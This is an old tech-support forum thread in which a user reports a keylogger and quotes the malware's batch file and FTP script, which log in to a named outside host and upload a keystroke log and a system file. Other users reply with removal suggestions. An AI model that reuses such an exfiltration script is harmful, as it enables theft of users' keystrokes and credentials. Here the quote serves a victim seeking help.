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269058 2004-09-04 00:50:00 I am wondering if anyone has run across this before?

While surfing I periodically get ftp.exe trying to access the net.
It appears I have a virus or spyware but neither Norton, Spybot or PestPatrol have found it.

It works like this:
A file in C:\ called net.cfg logs keystrokes, then a batch file called ton.bat is created with the following contents:

"ftp.exe -s:lap.txt"

The contents of lap.txt are:
"open kolyan.netfirms.com
kolyan
vc63ks
cd www
cd jsmx
mkdir gepe
cd gepe
binary
put c:\net.cfg
put c:\msdos_.sys
bye"

The site referred to has been taken down and I have tried ftping the site but the password has changed. I have created a read only version of net.cfg so no keystrokes can be logged but, as I cannot find the virus and there does not seem to anything in startup, I am at a loss as how to remove it.

Any ideas out there?
dave_r (6118)
269059 2004-09-04 01:12:00 do a file scan for ftp.exe then when/if you find it rename it.......if you cant rename it then do it in safe mode drcspy (146)
269060 2004-09-04 03:44:00 The dirty work is probably being done before Windows starts.:D I would suspect c:\msdos_sys, which is also supposed to be sent to the foreign site by that script.

Have a look at c:\config.sys and c:\autoexec.bat, too, just in case.
Graham L (2)
269061 2004-09-04 04:07:00 If this virus is disabling your anti-virus then try an online scan. Trend Micro (http://housecall.trendmicro.com/) offer one. Greg S (201)
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